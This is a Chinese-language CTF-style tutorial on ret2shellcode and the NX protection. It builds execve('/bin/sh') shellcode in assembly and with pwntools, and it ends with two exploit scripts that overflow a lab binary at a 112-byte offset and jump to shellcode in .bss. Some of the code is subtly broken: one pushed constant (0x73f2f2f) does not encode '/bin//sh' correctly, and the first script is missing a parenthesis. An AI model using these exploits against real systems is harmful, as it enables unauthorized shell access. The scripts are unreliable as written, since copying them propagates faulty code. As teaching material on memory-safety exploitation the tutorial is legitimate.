Ret2shellcode和NX保護機制
ret2text漏洞利用依賴于程式中存在執行system(“/bin/sh”)的函數,如果沒有這個函數,怎麼辦呢?
沒有執行shell的函數,沒有開啟NX保護
我們需要傳入自定義shellcode,這就利用方式就是ret2shellcode
Shellcode是黑客編寫的用于實行特定功能的彙編代碼,通常是開啟一個shell
例如:(linux系統下)
Execve(“/bin/sh”,null,null);
彙編代碼展示
push 0x68
push 0x73f2f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor edx,edx
push 11
pop eax
int 0x80
如
何寫32位的shellcode? 兩種方式(這裡借用看雪上的一個pwn入門教程的視訊說明)
1手寫
push 0x68
push 0x73f2f2f
push 0x6e69622f #前面三個參數是bin/sh的端儲存,為hs///nib
mov ebx,esp #esp為第一個參數,也就是上面入站的參數,放入ebx中
xor ecx,ecx
xor edx,edx #這兩個指令是将ecx和edx置為零,異或,相同為0,不同為1
push 11
pop eax #系統調用号,将11放入eax
int 0x80
2pwntools自動生成
1先指定context.arch=“i386/amd64”
2.asm(自定義shellcode)
s=asm(“””
push 0x68
push 0x73f2f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor edx,edx
push 11
pop eax
int 0x80
”””)
3.Asm(shellcraft.sh())自動生成shellcode
S1=asm(shellcraft.sh())
p.sendline(s1)
深入了解nx保護
NX(又稱DEP)資料執行保護。可寫的不可執行,可執行的不可寫
例子
1先用checksec指令檢查保護機制,發現無保護
2然後使用objdump –d ret2shellcode |grep system
檢視是否有系統函數,發現沒有
然後上pwngdb調試,用disass main反彙編檢視main函數
這裡上面那個方框中的是puts函數的參數,
可以用x/s 0x8048660或者p 0x8048660指令檢視參數為
繼續分析
我們可以看到關鍵函數gets函數,第一個參數是目的位址,第二個參數是複制内容,第三個參數為複制的大小
我們可以看一下拷貝的目的位址
還未操作,是以為空
然後我們就可以整理一下思路,程式的功能,先輸出一個内容,然後用gets寫入内容,最後printf輸出内容
3利用原理:
我們利用strncpy的功能将輸入的shellcode傳輸到複制的位址中(也就是0x804a080中)
然後我們将傳回的位址覆寫為0x804a080那我們就能得到shell了
這裡我們還需要知道0x804a080所在段是否有執行權限,他必須有執行權限,輸入的shellcode才能執行,
怎麼判斷所在段是否有執行權限呢?如下
用Gdb插件peda中:readelf 或者
shell:readelf -S +檔案名(注意大小寫,一定是大S)
發現所在位址的段是.bss
4. 檢視這個段有沒有運作權限
gdb中在main下個斷點,然後讓程式跑起來,再使用vmmap指令檢視段的權限
在這個段中有執行權限,是以這一步就完成了
5. 檢視溢出點
在pwndbg中用cyclic 200 生成200個字元,然後運作程式r
将200個字元輸入其中,停下來後發現有錯誤位址,也就是溢出點
6. 計算偏移
用cyclic –l 0x62616164計算出偏移offset為112
-
寫exp,
自動生成的shellcode
from pwn import *
context(arch="i386",os="linux") #必須要有的
p = process("./ret2shellcode2")
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(112,"A") + p32(0x804a080
p.sendline(payload)
p.interactive()
手動生成的shellcode
from pwn import *
context(arch="i386",os="linux",log_level="debug")
p = process("./ret2shellcode2")
shellcode=asm("""
push 0x68
push 0x73f2f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor edx,edx
push 11
pop eax
int 0x80
""")
payload = shellcode.ljust(112,"A") + p32(0x804a080)
p.sendline(payload)
p.interactive()